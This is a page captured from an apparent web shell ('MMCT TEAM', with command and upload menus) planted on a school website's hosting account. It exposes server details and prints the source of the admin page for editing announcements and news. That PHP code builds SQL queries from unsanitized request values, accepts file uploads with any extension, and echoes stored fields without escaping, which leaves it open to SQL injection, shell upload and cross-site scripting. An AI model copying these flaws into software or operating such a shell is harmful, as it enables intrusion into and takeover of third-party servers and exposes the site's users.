MMCT TEAM
Server IP : 2a02:4780:3:1378:0:3736:a38e:10  /  Your IP : 3.144.20.151
Web Server : LiteSpeed
System : Linux sg-nme-web1278.main-hosting.eu 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : u926327694 ( 926327694)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u926327694/domains/svschool.in/public_html/adminweb/uploads/../

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u926327694/domains/svschool.in/public_html/adminweb/uploads/../announce-news-edit.php
<?php  
$id=0;
if(isset($_GET['id']))
{
	$page_title = 'Edit Announcements / News';
	include 'header.php';
	$id = $_GET['id'];
	$sel=mysqli_query($con,"select * from announcements_news where id=$id");
	$section = '';
	while($row_announcements_news=mysqli_fetch_array($sel))
	{
	    $section = $row_announcements_news['section'];
		?>
		<div class="content-wrapper">
			<section class="content mt-4">
				<div class="container-fluid">
					<div class="row">
						<div class="col-md-12">
							<?php include('alert-msg.php'); ?>
							<div class="card card-primary">
								<div class="card-header">
									<h3 class="card-title"><?php echo $page_title; ?></h3>
								</div>
								<form action="" method="POST" enctype="multipart/form-data">
									<div class="card-body">
										<div class="row">
											<div class="col-md-12">
												<div class="row">
													<div class="col-md-4">
														<div class="form-group">
															<label>Title</label>
															<input type="text" class="form-control" name="title" required value="<?php echo $row_announcements_news['title']; ?>" />
														</div>
													</div>
													<div class="col-md-4">
														<div class="form-group">
															<label>Date</label>
															<input type="date" class="form-control" name="date" required value="<?php echo $row_announcements_news['date']; ?>" />
														</div>
													</div>
													<div class="col-md-4">
														<div class="form-group">
															<label>Section</label>
															<select name="section" class="form-control mysection" required>
																<option <?php echo $row_announcements_news['section'] == 'Announcements' ? 'selected' : ''; ?>>Announcements</option>
																<option <?php echo $row_announcements_news['section'] == 'News' ? 'selected' : ''; ?>>News</option>
																<option <?php echo $row_announcements_news['section'] == 'Notice' ? 'selected' : ''; ?>>Notice</option>
															</select>
														</div>
													</div>
												</div>
												<div class="row">
													<div class="col-md-12">
														<div class="form-group">
															<label>Description</label>
															<textarea class="text_editor description" name="description">
																<?php echo $section!='Notice' ? $row_announcements_news['description'] : ''; ?>
															</textarea>
															<textarea class="form-control short_description d-none" name="short_description"><?php echo $section=='Notice' ? $row_announcements_news['description'] : ''; ?></textarea>
														</div>
													</div>
												</div>
												<div class="row">
													<div class="col-md-8">
														<div class="form-group">
															<label for="exampleInputFile">Document File</label>
															<div class="input-group">
																<div class="custom-file">
																	<input type="file" class="custom-file-input fileUpload_allow_doc document_photo" name="document_photo" id="exampleInputFile">
																	<label class="custom-file-label" for="exampleInputFile">Choose file</label>
																</div>
															</div>
														</div>
													</div>
													<div class="col-md-4">
														<div class="form-group">
														    <?php
														        if($row_announcements_news['file']!='')
														        {
														    ?>
															<label for="exampleInputFile">Document File</label>
															<br/>
															<a href="<?php echo $row_announcements_news['file']; ?>" target="_blank"><i class="fas fa-file fa-3x"></i></a>
															<?php
														        }
														       ?>
														</div>
													</div>
												</div>
											</div>
										</div>
										<button type="submit" class="btn btn-primary" name="btnSubmit">Submit</button>
									</div>
								</form>
							</div>
						</div>
					</div>
				</div>
			</section>
		</div>
		<?php
	}
	?>
	<?php include 'footer.php'; ?>
	
    <script>
    $(document).ready(function(){
        if("<?php echo $section; ?>"=="Notice")
        {
            $(".note-editor").addClass("d-none");
            $(".short_description").removeClass("d-none");
            $(".document_photo").removeAttr("required");
        }
        else
        {
            $(".note-editor").removeClass("d-none");
            $(".short_description").addClass("d-none");
            $(".document_photo").attr("required","required");
        }
    });
        
    $(".mysection").change(function(){
        if($(this).val()=="Notice")
        {
            $(".note-editor").addClass("d-none");
            $(".short_description").removeClass("d-none");
            $(".document_photo").removeAttr("required");
        }
        else
        {
            $(".note-editor").removeClass("d-none");
            $(".short_description").addClass("d-none");
            $(".document_photo").attr("required","required");
        }
    });
</script>
	
	
	<?php
}
else
{
	session_start();
	$_SESSION['error_msg'] = 'Something wrong...';
	echo"<script>window.location='announce-news-list.php';</script>";
}
?>


<?php
if(isset($_POST['btnSubmit']))
{
	$date = $_POST['date'];
	$title = $_POST['title'];
	$description = "";
	$section = $_POST['section'];
    if($section=="Notice")
	{
	    $description = $_POST['short_description'];
	}
	else
	{
	    $description = $_POST['description'];
	}
    
    
	if($_FILES["document_photo"]["name"]!="")
	{
		$fileinfo=PATHINFO($_FILES["document_photo"]["name"]);
		$newFilename="news_documents_". time()."." .$fileinfo['extension'];
		$location="uploads/news_documents/" . $newFilename;	

		$upd = mysqli_query($con,"UPDATE `announcements_news`  SET title='$title', date='$date',  file='$location', description='$description',section='$section' WHERE id=$id");

		if($upd)
		{
			move_uploaded_file($_FILES["document_photo"]["tmp_name"],$location);
			$_SESSION['success_msg'] = $section.' has been updated...';
			echo"<script>window.location='announce-news-list.php';</script>";
		}
		else
		{
			$_SESSION['error_msg'] = 'Unable to update '. $section.'...';
			echo"<script>window.location='announce-news-list.php';</script>";
		}
	}
	else
	{
		$upd = mysqli_query($con,"UPDATE `announcements_news`  SET title='$title', date='$date', description='$description',section='$section' WHERE id=$id");
		if($upd)
		{
			$_SESSION['success_msg'] = $section.' has been updated...';
			echo"<script>window.location='announce-news-list.php';</script>";
		}
		else
		{
			$_SESSION['error_msg'] = 'Unable to update '. $section.'...';
			echo"<script>window.location='announce-news-list.php';</script>";
		}
	}
}
?>

MMCT - 2023